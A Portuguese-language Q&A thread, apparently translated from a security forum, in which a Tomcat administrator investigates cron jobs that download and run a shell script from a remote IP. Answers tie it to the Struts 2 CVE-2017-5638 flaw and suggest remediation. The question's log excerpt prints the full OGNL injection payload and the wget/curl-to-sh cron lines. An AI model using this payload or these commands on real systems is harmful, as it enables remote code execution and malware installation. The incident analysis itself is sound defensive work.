Ataque de script de shell no servidor Apache, por meio de um cron de origem desconhecida


8

Ao executar uma guerra de projeto no servidor Apache tomcat, descobri que o servidor foi comprometido.

Enquanto estiver executando a guerra em um desconhecido, cronestá executando assim

[root@App2 tmp]# crontab -l -u tomcat
*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh
*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh

O download logo.jpgpossui um script de shell que está baixando um malware.

Encontrei um problema semelhante neste site abaixo

https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/

e

/security/160068/kworker34-malware-on-linux

Não consigo encontrar a origem desse agendador cron em todo o meu código.

O que eu gostaria de saber que alguém enfrentou esse problema? e como devo encontrar a origem do agendador no código.

Nota:

Estou trabalhando em um projeto da web JAVA (Struts 2) + jsp + javascript + jquery.

Esse agendador está em execução sempre que inicio meu tomcat com o arquivo war do projeto, mas não consigo encontrar nenhum agendador para agendador no meu código.

Encontrei a seguinte linha nos meus arquivos de log

[INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - Unable to find 'struts.multipart.saveDir' property setting. Defaulting to javax.servlet.context.tempdir
[DEBUG] 2017-06-02 17:00:41,565 org.apache.struts2.dispatcher.Dispatcher debug - saveDir=/opt/tomcat/work/Catalina/localhost/MyApplication
[WARN] 2017-06-02 17:00:41,572 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest warn - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
                content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
                (#_memberAccess?(#_memberAccess=#dm):
                ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
                (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
                (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
                (#context.setMemberAccess(#dm)))).
                (#cmd='echo "*/11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh\n*/12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh" | crontab -').
                (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
                (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
                (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
                (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
                (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
    at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
    at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
    at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
    at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
    at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
    at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
    at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
    at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:83)
    at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
    at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
    at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
    at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
    at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:478)
    at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:140)
    at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
    at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:624)
    at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
    at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:342)
    at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:799)
    at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
    at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
    at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1455)
    at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
    at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
    at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
    at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
    at java.lang.Thread.run(Thread.java:745)
[DEBUG] 2017-06-02 17:00:41,574 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest debug - Preparing error message for key: [struts.messages.upload.error.InvalidContentTypeException]
[DEBUG] 2017-06-02 17:00:41,587 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullPropertyValue [target=[com.opensymphony.xwork2.DefaultTextProvider@6e817b9a], property=struts]
[DEBUG] 2017-06-02 17:00:41,625 com.opensymphony.xwork2.conversion.impl.InstantiatingNullHandler debug - Entering nullMethodResult 

Você alterou os logins padrão do Tomcat e desativou o gerenciador de host?

Você quer dizer a origem dessas duas entradas crontab (que são tarefas cron) ou o planejador cron (também em algum momento daemon cron)? Você gera processos ou scripts de shell do seu aplicativo Java (como Runtime.getRuntime().exec("something"))? Você tem um link para o seu projeto?
Jan Zerebecki

Quando você inicia o tomcat sem o aplicativo Java infectado, o cron está ativado?

Como você está iniciando o tomcat? Como você está implantando o aplicativo? (via GUI, scripts ou apenas copiar o arquivo .war no webapps?

Eu adicionei logs do meu aplicativo, por favor dê uma olhada. Sinta-se à vontade para informar-me sobre o que você puder pensar sobre esse problema.

Respostas:


4

Depois que o OP adicionou os logs, ficou claro que esse problema ocorreu na exploração de Execução Remota de Código do Struts 2 ( CVE-2017-5638 ).

Alguns links adicionais:

  1. Nova exploração remota de execução remota de código do Struts2 capturada na natureza .
  2. CVE-2017-5638 - Apache Struts2 S2-045 .

A solução é atualizar o Struts para a versão 2.3.32 ou 2.5.10.1.


Obrigado pela sua resposta, mas eu já verifiquei meu código para palavras-chave como 'logo.jpg' e '91 .230.47.40 'que não estão lá. Eu adicionei logs do meu aplicativo, por favor dê uma olhada. Sinta-se à vontade para informar-me sobre o que você pode pensar sobre esse problema.

2

Eu já enfrentei problemas semelhantes antes quando era administrador de sistemas. Eu acho que você deve diferenciar se é seu servidor tomcat ou seu aplicativo Java.

Quando você inicia o tomcat sem o "aplicativo Java infectado", o cron está sendo ativado? (Quero dizer, excluir seu aplicativo do Tomcat e iniciá-lo) Nesse caso, você tem um problema maior, precisará verificar os scripts de inicialização e todos os aplicativos implantados no servidor tomcat.

Caso contrário, temos certeza de que seu aplicativo é o problema.

Se for esse o caso, vá para:

$CATALINA_BASE/webapps/your_app 

Verifique a integridade do seu aplicativo, existem arquivos adicionais que você não reconhece?

Agora vá para o diretório webapps da sua instalação do tomcat:

$CATALINA_BASE/webapps/

Nesse diretório, execute:

grep -R '91.230.47.40' *

Para encontrar o possível arquivo / linha de código que causa a infecção, pode ser um arquivo do seu aplicativo ou um novo.

Você tem seu código em um sistema CSV?

Crie o arquivo war fora do servidor infectado a partir do seu repositório CSV e faça:

md5sum your_app.war

Remova seu aplicativo do servidor tomcat e reimplante, verifique se você está carregando a guerra correta por meio do md5 e verifique se o crontab está sendo chamado.

Se você enviar comentários sobre essas etapas, teremos prazer em ajudar.


1
Eu já verifiquei meu código para palavras-chave como 'logo.jpg' e '91 .230.47.40 ', elas não estão lá. No entanto, o problema está no aplicativo, não no tomcat. Eu adicionei logs do meu aplicativo, por favor dê uma olhada. Sinta-se à vontade para informar-me sobre o que você pode pensar sobre esse problema.

2

Nós apenas tivemos que combater esse tipo de ataque em um servidor, ele continuou reiniciando a substituição do crontab para o usuário do tomcat, conforme descrito acima. O endereço IP era idêntico. O grep de todo o diretório de aplicativos da web para o endereço IP não revelou um culpado.

No nosso caso, não usamos struts, mas tínhamos os aplicativos "host-manager" e "manager" nos aplicativos da web e o JMX ativado / porta aberta. Reiniciar sem eles parece ter resolvido, então meu palpite é que a vulnerabilidade pode estar em um deles. Especificamente, havia uma vulnerabilidade JMX corrigida no 7.0.73 que poderia ser nossa culpada ( https://tomcat.apache.org/security-7.html#Fixed_in_Apache_Tomcat_7.0.73 ).

Outra precaução que estamos tomando agora é restringir o acesso ao wget e chmod apenas ao root (basta fazer o chmod 770 nesses binários).

Ao utilizar nosso site, você reconhece que leu e compreendeu nossa Política de Cookies e nossa Política de Privacidade.
Licensed under cc by-sa 3.0 with attribution required.